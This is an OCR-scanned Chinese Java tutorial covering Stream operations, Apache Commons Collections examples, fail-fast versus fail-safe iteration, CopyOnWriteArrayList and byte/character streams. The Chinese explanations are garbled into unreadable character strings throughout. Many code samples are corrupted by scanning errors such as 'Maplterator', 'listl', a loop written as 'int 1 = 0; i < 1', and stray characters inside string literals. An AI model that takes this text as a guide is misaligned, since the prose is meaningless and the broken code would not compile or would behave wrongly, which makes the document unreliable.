FRREERFNTE:

FE—IREER . BHERR, EREREZE, T&E
BN S

= Stream, BBAINEE— Stream iEiapLH

X BEERERF (

/N EQEVI

stream has already been operated upon or c

URXEASFRBANR—FT” BERXMER.
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STREAM OPERATION INPUT

For every item, outputs

forEach .
something

Consumer

count Counts current items

Reduces the stream into a
desired collection

forEach

Stream 12T 5% ‘forEach' SRIERRPIENEIE. LB HEER forEach
BT 10 NENLEL:

Random random = new Random() ;

random.ints () .1imit (10) .forEach (System.out: :println) ;

count

count FIsRAITRFAITTERN 2.

List<String> strings = Arrays.asList ("Hollis", "HollisChuang", "hollis","Ho
11is666", "Hello", "HelloWorld", "Hollis");

System.out.println (strings.stream() .count());

e

collect

collect ER—MILIRMF, FLUZZRMEEFASH, BRFRITERRE—NC

SEER:

List<String> strings = Arrays.asList ("Hollis", "HollisChuang", "hollis","Ho
11is666", "Hello", "HelloWorld", "Hollis");

strings = strings.stream().filter(string -> string.startsWith("Hollis")).c
ollect (Collectors.toList());

System.out.println (strings) ;

//Hollis, HollisChuang, Hollis666, Hollis
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BETXR, BIIEZHEA—KE, RKERT, BIXRIfFH, Z—1 Stream eiEEd
filter. map. sort. limit A% distinct &MBf5%, TR FERAENRERIETLIEER
FHERVEE

TE, BRTXHMERRERFILE . A BEURER—E=IR R THER

£l

& e e

ARTATR Mok A adfztatd 2HEERAE [

&4 4t

n$o=[

AXNEBT Java 8 Ry Stream IR, e, BES T Stream B LANFEE,
PHIZ Stream €IEE . PEIRIEIIRZIRE.

Stream FIEIEERMH LN, DR EBIESSEA stream F5i%. BT Stream A9 of
Tk
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Stream RIE)IR/ERTLAFISRALE Stream, HEHRIERYE AT L& = Stream, &
EIRERTLARITIE . ik, HIFS.

Stream RIRZIRIFAILLE Stream $EpEMZ0, WITELRFPITRAI T Fiiss
BEES . UNRTRBHS .

Commons Collections #3877 Java Collections Framework., Ei2ET /110
ge, FINELEBTERS ., CREHTIFZHMNEZEO, LWHXLHEER. Commons
Collections FEEINELUNT:

. Bag - Bag REE TEMUREGZ T RIFNES.

. BidiMap - BidiMap O @ikss, oTBFEREFRRNEERE.

« Maplterator — Maplterator EORHERMBEZANERER .

« Transforming Decorators - i inzsI AR ES MNRIESHNEXNESHNS
MIIKR

« Composite Collections - THRER—WIEZSNESHBER MEBEEEES.

« Ordered Map - BFEREFINTENIRE.

« Ordered Set - BFERE 7 HRINITEANINF

- Reference map - SEERITERTIES FXR/(EHTHIRE .

« Comparator implementations — BJLUMERIFZE Comparator £ .

. lterator implementations — ¥ Iterator SLEIERATFE .

« Adapter Classes - EAcaskn] TS EEBRFINE IR NES .

. Utilities - LRAEFRTAFUINNLLIZESHBEESICEM, B2 union,
intersection. #FXA.

Commons Collections — Bag

Bag EXT—1 &S, AFIrBNREESPHEHIMBURE. Hla0, 2R Bag B8&1{a,
a, b, c}, W getCount ( “a” ) ¥i&[E 2, M uniqueSet ( ) BREIHE—E.
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import org.apache.commons.collections4.Bag;
import org.apache.commons.collections4.bag.HashBag;
public class BagTester ({
public static void main(String[] args) {
Bag<String> bag = new HashBag<> () ;
//add "a" two times to the bag.
bag.add ("a" , 2);
//add "b" one time to the bag.
bag.add ("b") ;
//add "c" one time to the bag.
bag.add ("c") ;
//add "d" three times to the bag.
bag.add ("d", 3) ;
//get the count of "d" present in bag.

System.out.println("d is present " + bag.getCount ("d") + " times.

System.out.println ("bag: " tbag);

//get the set of unique values from the bag

System.out.println ("Unique Set: " +bag.uniqueSet());

//remove 2 occurrences of "d" from the bag

bag.remove ("d", 2) ;

System.out.println ("2 occurences of d removed from bag: " tbag);

System.out.println ("bag: " +bag);

(

System.out.println("d is present " + bag.getCount ("d") + " times.
(
(

System.out.println ("Unique Set: " +bag.uniqueSet());

ERFTENLATER:

d is present 3 times.

bag: [2:a,1:b,1:c,3:d]

Unique Set: [a, b, c, d]

2 occurences of d removed from bag: [2:a,1:b,l:c,1:d]
d is present 1 times.

bag: [2:a,1:b,1l:c,1:d]

Unique Set: [a, b, ¢, d]

Commons Collections — BidiMap

(EFEIRGY, RILMERESHRR, FEULUERBRNERE.

176

")

")
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import org.apache.commons.collections4.BidiMap;
import org.apache.commons.collections4.bidimap.TreeBidiMap;
public class BidiMapTester {
public static void main(String[] args) {
BidiMap<String, String> bidi = new TreeBidiMap<>() ;
bidi.put ("One", "1");
bidi.put ("Two", "2");
bidi.put ("Three", "3");
System.out.println (bidi.get ("One"));
bidi.getKey ("1"));
System.out.println ("Original Map: " + bidi);

(
System.out.println(
bidi.removevValue ("1") ;

System.out.println ("Modified Map: " + bidi);

BidiMap<String, String> inversedMap = bidi.inverseBidiMap () ;
System.out.println("Inversed Map: " + inversedMap) ;

ERFTEDLA TSR :

1

One

Original Map: {One=1, Three=3, Two=2}
Modified Map: {Three=3, Two=2}
Inversed Map: {2=Two, 3=Three}

Commons Collections — Maplterator

JDK Map #ZORMER, HAERERE EntrySet 5t KeySet X9R E5ER .
Maplterator 12t 73X+ Map BIERIE .

import org.apache.commons.collections4.IterableMap;
import org.apache.commons.collections4.Maplterator;
import org.apache.commons.collections4.map.HashedMap;
public class MapIlteratorTester ({
public static void main(String[] args) {
IterableMap<String, String> map = new HashedMap<> () ;
map.put ("1", "One");
map.put ("2", "Two");
map.put ("3", "Three");
map.put ("4", "Four");
map.put ("5", "Five");
MapIterator<String, String> iterator = map.maplterator();
while (iterator.hasNext ()) {
Object key = iterator.next();
Object value = iterator.getValue();
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System.out.println ("key: " + key);
System.out.println ("Value: " + value);
iterator.setValue (value + " _");

}

System.out.println (map) ;

BEFTEILA TSR

key: 3
Value: Three
key: 5
Value: Five
key: 2
Value: Two
key: 4
Value: Four
key: 1
Value: One
{3=Three , 5=Five , 2=Two_, 4=Four , 1=One }

Commons Collections — OrderedMap

OrderedMap 2tENFHFEO, BFEREBANTENINF. LinkedMap #
ListOrderedMap 2@ 1N ARISEM .  tizOASZHEF Map ANECEE, FH s Map #[g
BIgkEEERENEE,

import org.apache.commons.collections4.0rderedMap;
import org.apache.commons.collections4.map.LinkedMap;
public class OrderedMapTester {
public static void main(String[] args) f{
OrderedMap<String, String> map = new LinkedMap<String, String>();
map.put ("One", "1");
map.put ("Two", "2");
map.put ("Three", "3");
System.out.println (map.firstKey());
System.out.println (map.nextKey ("One")) ;

System.out.println (map.nextKey ("Two")) ;

ERFTENLITER:
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One
Two
Three

Commons Collections — Ignore NULL

Apache Commons Collections &R CollectionUtils 295 IigEIR (It T =L
RrEE, RETTZHEM. BEMTREREHRNB. XNEE|dk 8 ZRIHEEE
F3, RA Java 8 Y Stream AP| BIfEIRM 7 ZLIA9THEE

import java.util.LinkedList;

import java.util.List;

import org.apache.commons.collections4.CollectionUtils;

public class CollectionUtilsTester {

public static void main(String[] args) {
List<String> list = new LinkedList<String> () ;
CollectionUtils.addIgnoreNull (list, null);
CollectionUtils.addIgnoreNull (list, "a");
System.out.println(list);
if (list.contains (null)) {
System.out.println ("Null value is present");

} else {

System.out.println ("Null value is not present");

ERFTENLITER:

[a]
Null value is not present

Merge & Sort

Apache Commons Collections &R CollectionUtils 295 IigEIR (It T =L
REE, RETTZHEM. BEMTREREHRNB. XNEE|dk 8 ZRIHIEEE
F3, R Java 8 Y Stream AP| BITEIRM 7 ZLA9THEE
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import java.util.Arrays;
import java.util.List;
import org.apache.commons.collections4.CollectionUtils;
public class CollectionUtilsTester {
public static void main(String[] args) {
List<String> sortedListl = Arrays.asList ("A","C","E");
List<String> sortedList2 = Arrays.asList ("B","D","F");
List<String> mergedList = CollectionUtils.collate(sortedListl, sortedL
ist2);
System.out.println (mergedList) ;

BEFTEILA TSR

[Ar B, C, D, E, F]

Z 2B (Safe Empty Checks)

Apache Commons Collections ZERY CollectionUtils 295 IIRIEIR It T S FPsC
RrEE, RETTZREM. BEMTFREREHRNB. XNEE|dk 8 ZAIHEEE
FB, R Java 8 Y Stream AP| BITEIRM 7 ZA9THEE

import java.util.List;
import org.apache.commons.collections4.CollectionUtils;
public class CollectionUtilsTester {
public static void main(String[] args) f{
List<String> list = getlList();
System.out.println("Non-Empty List Check: " + checkNotEmptyl (list));
System.out.println("Non-Empty List Check: " + checkNotEmptyl (list));
}
static List<String> getList () {
return null;
}
static boolean checkNotEmptyl (List<String> list) {
return ! (list == null || list.isEmpty());
}
static boolean checkNotEmpty2 (List<String> list) {
return CollectionUtils.isNotEmpty(list);

ERFTENLITER:
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b

Non-Empty List Check: false
Non-Empty List Check: false

Commons Collections — Inclusion

KwBIIREGES 1 YIFRN—FD:

import java.util.Arrays;

import java.util.List;

import org.apache.commons.collections4.CollectionUtils;

public class CollectionUtilsTester {

public static void main(String[] args) f{
//checking inclusion
List<String> listl = Arrays.asList ("A","A",6"A","C","B","B");
List<String> list2 = Arrays.asList ("A","A","B","B");
System.out.println("List 1: " + listl);
System.out.println("List 2: " + list2);
System.out.println("Is List 2 contained in List 1: "
+ CollectionUtils.isSubCollection(list2, listl));

BEFTEILA ISR

List 1: [A, A, A, C, B, B]
List 2: [A, A, B, B]

Is List 2 contained in List 1: true

Commons Collections — Intersection

BT R NES (325 ) ZEHIAHER:

import java.util.Arrays;

import java.util.List;

import org.apache.commons.collections4.CollectionUtils;

public class CollectionUtilsTester {

public static void main(String[] args) {
//checking inclusion
List<String> listl = Arrays.asList ("A","A",6"A","C","B","B");
List<String> list2 = Arrays.asList ("A","A","B","B");
System.out.println("List 1: " + listl);
System.out.println("List 2: " + list2);
System.out.println ("Commons Objects of List 1 and List 2: "
+ CollectionUtils.intersection(listl, 1list2));
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BEFTEILA ISR

List 1: [A, A, A, C, B, B]
List 2: [A, A, B, B]
Commons Objects of List 1 and List 2: [A, A, B, B]

Commons Collections — Subtraction

BT MEftEE G PIRE— PN EGRINSRFIREGES

import java.util.Arrays;

import java.util.List;

import org.apache.commons.collections4.CollectionUtils;

public class CollectionUtilsTester {

public static void main(String[] args) {
//checking inclusion
List<String> listl = Arrays.asList ("A","A",6"A","C","B","B");
List<String> list2 = Arrays.asList ("A","A","B","B");
System.out.println("List 1: " + listl);
System.out.println("List 2: " + list2);
System.out.println("List 1 - List 2: "
+ CollectionUtils.subtract (listl, list2));

BEFTEILA TSR

List 1: [A, A, A, C, B, B]
List 2: [A, A, B, B]
List 1 - List 2: [A, C]

Commons Collections — Union

BT RENA T EGRIFE:

import java.util.Arrays;

import java.util.List;

import org.apache.commons.collections4.CollectionUtils;

public class CollectionUtilsTester {

public static void main(String[] args) {

//checking inclusion
List<String> listl = Arrays.asList ("A","A",6"A","C","B","B");
List<String> list2 = Arrays.asList ("A","A","B","B");
System.out.println("List 1: " + listl);
System.out.println("List 2: " + list2);

182
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System.out.println ("Union of List 1 and List 2: "
+ CollectionUtils.union(listl, 1list2));

BEFTEILA TSR

List 1: [A, A, A, C, B, B]
List 2: [A, A, B, B]
Union of List 1 and List 2: [A, A, A, B, B, C]

Bt

https://iowiki.com/commons_collections/commons_collections index.html

Arrays.asList 3889 List (FRARNSEE IS4

1. asList BEIMRE— Arrays BIRERSE, —PMEREEAINE List, ELLIIRSE
HITIBHIRIESIRES
2. B ArraylList A& LUEHEEETALEIERY Arraylist,

Collection afankst;

Collection BIERB RS :

1. BITEE for EIMER
2. Bidigas for ERER
3. {8 lterator &L
4. {3 Stream &A%

List<String> list = Immutablelist.of ("Hollis", "hollischuang");

// I for fEFAEE )

for (int 1 = 0; 1 < list.size(); i++) {
System.out.println(list.get (1))

}

/ /3858 for EHIE T
for (String s : list) {
System.out.println(s);


https://iowiki.com/commons_collections/commons_collections_index.html
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}

//Iterator H[f

Iterator it = list.iterator();

while (it.hasNext()) {
System.out.println(it.next());

}

//Stream i
list.forEach (System.out::println);

list.stream() .forEach (System.out: :println);

Enumeration #0 Iterator X3!
REEORR .,

Enumeration A 2 NEEE: M. il Enumeration, AR AEEUES HIBHRE, AR5
PEHEAT BN
Tterator HA 3 MREEE. Tterator B T REERIUEEA MR 2 4b, WMAEEEE AT IBRER1E .

lterator 243 fail-fast #1#, M Enumeration A~3z3F,

Enumeration #& JDK 1.0 WU . A BIEHIREELHE Vector. Hashtable %2, X
L= JDK 1.0 MM, Enumeration fAFEM HHLZ A EARMEEHE N . Enumeration
NG IHERA X FFESY, MAE Vector. Hashtable S Enumeration B, ¥iNT F.

M Iterator s& JDK 1.2 AWMNMAELD, W& N T HashMap. ArrayList AL (i %
M. Iterator &3 ¥ fail-fast HUHIT: U ANLEFEN F—NEA TN AEATEAER, BaTgEar™
4 fail-fast Fff.

T2 Enumeration {22 RE8&EMA Vector. Hashtable X ERES, HithiE
FEAEFERE, RIEEFERIGERT, AEAER Enumeration, &NESRIZIEEE

lterator i£{t28,

fail-fast ¥ fail-safe

HAE fail-fast

BSEH(IE MEE BRI T fail-fast HIERE:
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In systems design, a fail-fast system is one which immediately reports
at its interface any condition that is likely to indicate a failure. Fail-fast
systems are usually designed to stop normal operation rather than attempt
to continue a possibly flawed process. Such designs often check the
system's state at several points in an operation, so any failures can be
detected early. The responsibility of a fail-fast module is detecting errors,

then letting the next—highest level of the system handle them.

ARERR: ERFRITF, RELIR G LIRS R ERBHIERIER
HNERZ. RELARFERRITATFLEERRE, MAEEREE e EmRERITE.
I BESERFPRNZS T ARER GRS, B AR B NENEH IR . PRiER
WIS RAERERZIGNEIR, ARELRF T — I RaRAIIBER.

H, XE—MIER, AT HEEMARRITRIREZERERR, — ERXERE,

F— B8R fail-fast BIFIF:

public int divide (int divisor, int dividend) {
if (dividend == 0) {
throw new RuntimeException ("dividend can't be null");

}

return divisor/dividend;

FERIBRE— NN EHMERETSE, E divide i, FHAIXIHIREM T
BENRE, MREER O, BAMEENE— 5%, HIMREREERR ., XEZLHZ
fail-fast 1B SHISLEFRA S

XAFAIIF AL R A LATRSEIR A — LR BN, — 0 E A LAB R T E ZRAVE ML
18, BS—70mE, XMESEERRREZ EH AL IR — LIRS

BArE, WERFNE fail-fast TIE, HLMFAEHR, MEBNABTIEEESE
{EMAAY.

BEPA, fail-fast 2—MELBRTFRING, It A Erds fail-fast 2B 1HIE?
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JREZ Java EGEFIZA T fail-fast HlEldtiTirit, —ERAAS, ik fail-fa
st LEIRITRINES, MEAREIFHRER.

E53hn fail-fast

HATEFEIRAY Java Ry fail-fast HH, BHAISHIR Java ESAI—FhEIRIENALE]
Y NMEENE D ESHITEE _ EHINZARIER, Basesr=4 fail-fast %, XA
IEF L ConcurrentModificationException ([FXF CME K% ) .

CMException, HEECMNEIRIRAIFHARIZN, BARRIFXIMELBIFMWEIZZE

REMEEREABHHMET CMException, REERFRFHSRER, BHEEECH
REHRBESLIENETHRT, AT ASREXMALEXNSER? XMEREAAR
T ASHER? FAIFFKRADIT—T

RESEN

£ Java 1, UNER7E foreach BHEXNRELESTTEHITITEN remove/add EBIE
BOBHE®, Ptk fail-fast #1%, #Himmwd CMException,

LA

List<String> userNames = new ArrayList<String>() {{
add ("Hollis") ;

add ("hollis");

add ("HollisChuang") ;

add ("H") ;

byi

for (String userName : userNames) {
if (userName.equals ("Hollis")) {
userNames.remove (userName) ;
}
}

System.out.println (userNames) ;

LA EARCHS, {ER3IESE for fEINEATTER, F=IMMEREFRY Hollis FFFERTTER . iz1T1A
ER1S, SRELUTRE:
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Exception in thread "main" java.util.ConcurrentModificationException
at java.util.ArrayList$Itr.checkForComodification (ArrayList.java:909)
at java.util.ArrayList$Itr.next (ArrayList.java:859)

at com.hollis.ForEach.main (ForEach.java:22)

EIHERY, =B A LASIE M EEsR for B P(ER add 75iEF TR, SRUSEFD
HiZFE.

ERNRIEBZHI, HA14LEIE foreach #HTARIELNE, &— T foreach B{Ra0{aJsC
A9 o

FAWER jad TR, XRERM class HiT/RmE, BSRILITAE:

public static void main (String[] args) {
// f§iH ImmutableList #iH—4 List
List<String> userNames = new ArrayList<String> () {{
add ("Hollis");

(
add ("hollis");
add ("HollisChuang") ;
add ("H") ;

1Y:

Iterator iterator = userNames.iterator();
do
{
if(!iterator.hasNext ())
break;
String userName = (String)iterator.next();
if (userName.equals ("Hollis"))
userNames.remove (userName) ;
} while (true);
System.out.println (userNames) ;

LKL, foreach L2 T while 1&H4AF0 Iterator SEELAY .

S ERIE

B ERENSERER, RNJLIREREIEEREREREE:

java.util.ArrayList$Itr.checkForComodification (ArrayList.java:909)

%7352 iterator.next() 75 EFEARY . Fell)E MZITIARISLHL:


https://www.hollischuang.com/archives/58
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final void checkForComodification () {
if (modCount != expectedModCount)
throw new ConcurrentModificationException () ;

—

0k, FEiZFEEHI modCount 1 expectedModCount 1T T EE, SR —EFE
%, Mt CMException,

B84, modCount #1 expectedModCount 2+4? 2HARRSHIIRERES
A9E?

modCount 2 ArrayList FRI—1AREE . BRRZESERIZEANREL

List<String> userNames = new ArrayList<String>() {{
add ("Hollis") ;
add ("hollis");
add ('
add ("
}hi

'HollisChuang") ;
H") ;

SERU LB ES ZEZEEMNE T . #iREN 0.

expectedModCount 2 ArraylList FHI—PAERE—tr PR RT S

Iterator iterator = userNames.iterator () ;
PAERCES, BEIfSEI— Itr 25, Z28SCHL T lterator 20,

expectedModCount RRXMELEEFUERZESHWIELANRE . HIEMEE Itr 1ol
miliat . REEITERNESHTIRE, ZEBEASHE.

B4, EEHNIET userNames.remove(userName); 5 2B EM T4 EE, B
HAE£E52 expectedModCount 1 modCount BYEFR—#£.

BT, BRI, remove HiEtzaBEINT:
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private void fastRemove (int index) {
modCount++;
int numMoved = size - index - 1;
if (numMoved > 0)
System.arraycopy (elementData, index+l, elementData, index,
numMoved) ;
elementData[--size] = null; // clear to let GC do its work

AJLER, BREHXT modCount, FigBEXT expectedModCount BIFalR(E.

B ERE—KERER A 7=

o‘) Lisf<Strings userNamas

public class ArraylisH
protected fransient int modCount = O;

} o) userNames.iterator();

private class Itr implements [ferator<Es {
h‘\odcouhf- = O il szfecf-edModCoumL = l«odl':ouhf,'
}

expectedModCount = 0

a) MS!YNGJ‘M!I ,Y-EJMOV‘E(ME‘EYN ﬂl‘h{)"

public € remova(int mdex) {
modCount++;
//REMOVE DATA

a_,-j itevator.next();

Pufofr-t. £ h-exf‘() {
cchkForComodr-fr'cah'oh(),—
}

final void ch‘eckFor{:omocﬁf!—mf|'oh0 {
if (hod‘l’:owhf‘ I= axpectedModCount)
throw new
ConcurrentModificationException();

}

modCount = 1

ConcurrentModificationException

BRIE—T, ZRUSYE CMException &%, ERAFEANIRIREHERT ISR
for 81, MEERE for B H, ERREHIBY iterator #1789, ERTER
add/remove A2 EEEBNESEECHIGE. XMSH iterator HRHRIFHE, =&
WE— P T=E
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B CAMAERIER FAEMERARINT, et —1R%E, ARERBR, JiEkE
THEER!

FRLA, 7EfER Java FUESERIE R, MR A% CMException, {L5EEE fail-fast
BXER, Lhr EXBFHEEENESEH A, J2 Iterator (FR 7T fail-fast BYRIFHLH,
RABMEMERE—XENRREZIBECSH TN, BARSHERE.

XF O RXMEm, FTME (T AZLTE foreach BHREHITTER
remove/add #{E ) PNEE, XBEARBEART .

fail-safe

HTBPAE fail-fast M), SEEE, BATATLUER Java thiftl—LRmT

fail-safe HlHIRIE S

XFHNESRSERHINTNEEEEESHNS LHON, MEBLEFEEEENS, &
ENWES EHITER
java.util.concurrent @ FHIREEEFE fail-safe i, ATLAESERETHAER, Fk

&M, BTt RILAZE foreach ##1T add/remove

A= CopyOnWriteArrayList iX4 fail-safe FIESHERBEDHT—T .

public static void main (String[] args) {
List<String> userNames = new CopyOnWriteArrayList<String> () {{
add ("Hollis") ;
add ("hollis");
add (' HolllsChuanq ) ;
add ("H") ;
}hi

userNames.iterator () ;

for (String userName : userNames) {
if (userName.equals ("Hollis")) {
userNames.remove (userName) ;
}
}

System.out.println (userNames) ;
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LAERRS, {EF CopyOnWriteArrayList & 7 ArrayList, SirfekESE.

fail-safe EGRFIEXNESIENERTIEN—HEIAXR, REERIAES LT,
HAREENERESHITEN , FRXLEENT L, W0 add/remove E BT N0BIRIES
HEB .

FrLA, CopyOnWriteArrayList FENEA R EELRNIIEFAFZEM fail-fast B9H A
S, ([E)H fail-fast WEBERFRIRIFH A, RAEBIRENAENEF)

BR, SRETFENABTHMERER T ConcurrentModificationException, {E[E]
FEMtE, XS HABENDENEX SRS . WLATLRS:

public static void main (String[] args) {
List<String> userNames = new CopyOnWriteArrayList<String> () {{
add ("Hollis");
add ("hollis");
add ("HollisChuang") ;
add ("H") ;
}hi

Iterator it = userNames.iterator();

for (String userName : userNames) {
if (userName.equals ("Hollis")) {

userNames.remove (userName) ;

}
System.out.println (userNames) ;

while (it.hasNext ()) {
System.out.println (it.next());

}

411155 CopyOnWriteArrayList B9 lterator Zf5, @13 for IEREIEMIFREREES
HE, REEERLEDE lterator, ERAMATIT:

[hollis, HollisChuang, H]
Hollis

hollis

HollisChuang

H
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IECERE DRI R InEH A —ZIZRRIEGIE N, i HHRE/RES R ERNESIENRS
ERFER .

Copy-On-Write

FET#E T CopyOnWriteArraylist ZJ5, AEIBARESASBEXFFERIZED: {tBAY add

/remove S EEEEMB T, XLE copy — I BIEXTIR? SIt—2? EHEXELS
ES, XItEH Vector BIEXBIR?

Copy—On-Write f&#k COW, 2—MBTIEFRRITFRINHEE. EEXBIRE,
MN—FHEXRFEAERLZEA—TASE, BRPTABEZEIXITRBN R, T2EHIECASR
Copy HEEHM—MHHIREAEHEN, X2 —FREITHIBERES .

CopyOnWrite &=z SR EFIRIE

w:l

=]

b/

= BARIEBESTAJE—BR/AINTTERAY
&, FEZEEASRIRRAN, METRBARERIHRT Copy, ERIE—IHIVERE, ARH
RERERNTR, MitzZa, BRESE

o

=]

2R95 | BIs RIS =S

[=1=]¢)

o

CopyOnWriteArrayList & add/remove E5 522 FEMHIAY, B2 T BR
Copy i N PMEIRER, SHFHEAS.

B2, CopyOnWriteArrayList RIS E=2REINEHT.

public E get (int index) {

return get (getArray (), index);

}

EA RN RN . RASHERNBEEBIEN EHIRISRLMERENRE—HM
A9, FHEEE—EE.

FRLA CopyOnWrite BEER— XS0 BEIEBIE, SR REMNEE. M Vector 1EiE
BHIHRERE— a8, 58K, RNREEM—HEFE/L.
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WM EEBAIERIER ArrayList FAY7TE
1. EEFEREE for IBINHITIRE
AN ABerE foreach HidtfT, EBRFEHEEZE for BIRERHLARY, EANEBE for

BIFLBERE Iterator B9EA, FRLAEIRFIZBE#HT fail-fast F9EKE .

List<String> userNames = new ArrayList<String> () {{
add ("Hollis");

add ("hollis");
add ("HollisChuang") ;
add ("H") ;

1Y:

for (int 1 = 0; i < 1; i++) {
if (userNames.get (i) .equals ("Hollis")) {

userNames.remove (1) ;

}

System.out.println (userNames) ;

XA ERESFE— NI, BBFEE remove IR{FEMEE List PcEN ™R, AI8EF
ERMAOER.

2. EiEE lterator #HTRE

bR T BREEREE for IBRLSN, BAIERILAERE(ER Iterator 12(tA9 remove ik,

List<String> userNames = new ArrayList<String> () {{
add ("Hollis");
add ("hollis");
add ("HollisChuang") ;
add ("H") ;
byi

Iterator iterator = userNames.iterator();

while (iterator.hasNext()) {
if (iterator.next().equals("Hollis")) {

iterator.remove () ;

}

System.out.println (userNames) ;
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MBEHEMGER Iterator 2 remove A%, B4 & Al LLE X Z
expectedModCount f98., BBAFIASBRESET .

3. {#F Java 8 F2{tH filter 1338

Java 8 HRJLUEBESERAR, MNFRE—H filter #B(E, ®LXIERLE Stream #
TR, BEIENHRITER B TRER—1# Streams,

List<String> userNames = new ArrayList<String> () {{
add ("Hollis");
add ("hollis");
add ("HollisChuang") ;
add ("H") ;
}yi

userNames = userNames.stream() .filter (userName -> !userName.equals ("Hol
lis")) .collect(Collectors.toList());
System.out.println (userNames) ;

4. (AR for IERESCERTLA

MR, BAEEHEE—TEST, E1TESHRRITRREE—10E, g
Set H1TIRME, BBAESLBERILUEREE for 1B8IMRY, RBEMRZ G, STRERBIME,
FEBMREFTBHMAILLY , MR AILARBHITEI TR next 5%,

List<String> userNames = new ArrayList<String>() {{
add ("Hollis") ;
add ("hollis");
add ("HollisChuang") ;
add ("H") ;
}hi

for (String userName : userNames) {
if (userName.equals ("Hollis")) {
userNames.remove (userName) ;

break;

}

System.out.println (userNames) ;
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5. BEE(#EF fail-safe HES S

£ Java /1, [RT—LEBRIESGELSL, EBE—LRAT fail-safe HlHEIRIESS
XFHEGRREEDNAREETESAST LINEN, MEsEHREEEASE, £EN
RES EHITER .

AR EXNERESHIE HTER , T ERhEE X RESFERE It 8
WEREEENE, AR &M% ConcurrentModificationException.

ConcurrentLinkedDeque<String> userNames = new ConcurrentLinkedDeque<String>

0 {{
add ("Hollis") ;

add("hollis");
("HollisChuang") ;
("

H") ;

add
add
| B

for (String userName : userNames) {
if (userName.equals ("Hollis")) {
userNames.remove () ;

}

HFEURENMa 2% T ConcurrentModificationException, BRI, &t
BH I RLRERERNNES, Bl kRSBEHNEFRELI—WEENESIENR, TR
[hHAERE S R ERNMESUA R EAFIBER .

java.util.concurrent 8 TS RERLZ LM, AJLAIES&KIE FHARER, FARIEX.

Copy-On-Write &#} COW, R—MATFREFRITHNNIER . HEABER,
MN—FIEAREBBEHZE—TAE, SETABZEOXTABTHE, T2EEERSE
Copy BEER— 1M FTHABAREY, Xe—MERMMEBERE. N JDK1.5 75 Java 7
ABERBETHAFEAHCopyOnWrite LM FLASTSE, M2
CopyOnWriteArrayList #1 CopyOnWriteArraySet., CopyOnWrite B28IFEEH, o
IR 2RI RIS ERT .
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CopyOnWriteArrayList HEF 22 £09 ArrayList, CopyOnWriteArrayList {#
BT —MIUBRERIEEL, BBEHtE add 2 CopyOnWriteArrayList B, SeNREH
RPN —H R, RETHNEENSIRE, Bx2E, BEERIOEAES | BiEazlHh
#4H

XA 2 AR AT CopyOnWrite B8 HITHARNE, MAZEZMS, B
LIS RASHRIMETTE. LA CopyOnWrite B E—MEEHBER, %15
AEHIESE.

iEE=: CopyOnWriteArrayList B9 add #/EEFREBRYRIF THEHITHY . BEIRIR
add iR &L 2/,

CopyOnWrite FABRRATZZE0RAHAT S tLINEEE, BR2E, BmXER
IBEMEHTR.

0 ArrayList ~EA9ZE, EEBLATFE:

XEESVEFLRERKREREN RABERTESHENEMEAE, FIUATRERE (
add(). set() 1 remove() &% ) WFHERA KREEZIF hasNext(), next)EARaIZ=
B, BAGFIE remove()FRIF SRAEASHTELRIEERR, FEFAESEM
KFEREPSE, EASEREERT, SRS RBRT AEASEARE,

ConcurrentSkipListMap 2— 1" AREMERBZE, FESIFHEFNHAZI— Map,
BEELZE2MN., —REBOSHERE, BE— N EERIIEIRSE .

BENBTBEEE:

B —Fh FOVFLE — N U (14 PP 37 BEAT DR 2 i PR B0 45 44 o

FEEE AP RER P EW IR, HENERSRIIH G — A A ST, SRR BT .
e

B AT A XA B I Al i RS e 2, e — A Al (a7 RIS
KRR EWBRIEER.



197 > EA/E

ConcurrentSkipListMap #1 ConcurrentHashMap FIEEX3: a. KELWHT
AE. ConcurrentSkipListMap [EEETFHtZE . ConcurrentHashMap [EEEF Hash
FEFNZ2EM . b.ConcurrentHashMap A~3z#F3EF .ConcurrentSkipListMap ZiFHEF -
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ES TS

Bit /N TIHFIRN , BITEVRRIERRD . BUE 0 5 1

Byte (1) RitBEHURIFEURERISR/\B(IH 8 {1 bit £Hpk BYE (—128-127)

Char (%) RRFNYIEERISR/NEN, & Java BEA 16 1 bit Bpk BYE (0-
65535 )

[ = =
=l ENITY

12E byte 28R, FEIR(EEE OutputStream. InputStream HIFE; FHE
X, BEENNERSIRE,

FRAR

RIEFRRBHIR, TERIFRRE Reader. Writer R9FE; FRBTXEFFH,
FRARAAFASBEETRE.

EiREE R

B 10 LR L AFHRIFER, BRRTXMIRZI, SFE—EHFTiR-
FRIAIFEHRSE .

OutputStreamWriter: 2 Writer 972, BHIEMNZHFRTAFTDR, BIE—F
FRAE LN RT AT R EXTSR .

InputStreamReader: & Reader 973, BRMANFDRENFHR, BIE—F
TIRBIBASTREAFFFRAVRAT SR o
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N B

WAL, B—12RY, SRYMEFMEEIERIN R MRBENTIZAZN RS,

EXFRBAN . NN RFEIMNZEIE, Xe2EE.

PRLA, BINRRIEEIRERS AT RAY. SRR NEEN RHEEEERE TR

FRMIF AR ERITEE SR
EESIFHRT SR AR R BERRm %

. OutputStreamWriter 2FFfFRIBRZETRAVTR

« InputStreamReader EFHRERZERFRAVTR

FRIREERRF T

public static void main(String[] args) throws IOException ({

File f = new File("test.txt");

// OutputStreamWriter & F{FIiilH M i
OutputStreamWriter osw =
"UTF-8") ;

BT SE, B T — AN AFIRE ) = IR R B
new OutputStreamWriter (new FileOutputStream(f),

osw.write ("FIE PR TR ) ;
osw.close () ;

i

FRREEN T

I

L

public static void main(String[] args) throws IOException {

File £ = new File("test.txt");
InputStreamReader inr =

new InputStreamReader (new FileInputStream(f),
"UTF-8") ;

char[] buf = new char[1024];

int len

inr.read (buf) ;

System.out.println (new String(buf,0,len));

inr.close();
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S E5RLERRIERIERER .

&l

an A VB B:

MRZEEL, BEEEANERE, SUAMITEMIIE. ANRXBERATLISRIES
% o

NREFE, B AEED ANERE, MRESZMHRITEMNS, ERFRIESEM, B
M T ZRsEN A, ARRBEREAREIER, BR B RITRZESEM AL

BEZE S3FPEZE AR RIFAERY

wn AVERB:

WMRZMEE, AERKLBERE, B—EFF, F5BREER.

RZIFEE, AERKEERRE, FRESS, JUEXMBECSHERE.

B£, &4 M EE, IFEEZENXE]

, AR .
, =EAEREN.

SIS A—EHE, FLWA—EIEE. RELAXR,

Kl

FENERIPIF, ZIKEK,

1. TIKIEKEREK E, —BEEKESFEKT. (BLHEE) ;

2. TKIEKGHEIX L, EETEBN, BARNEEBEEKRE . (FLIFHEE );

3. TKIIEIKEMEIK E, —BEKEEEFEKF. (RLHEE) ;

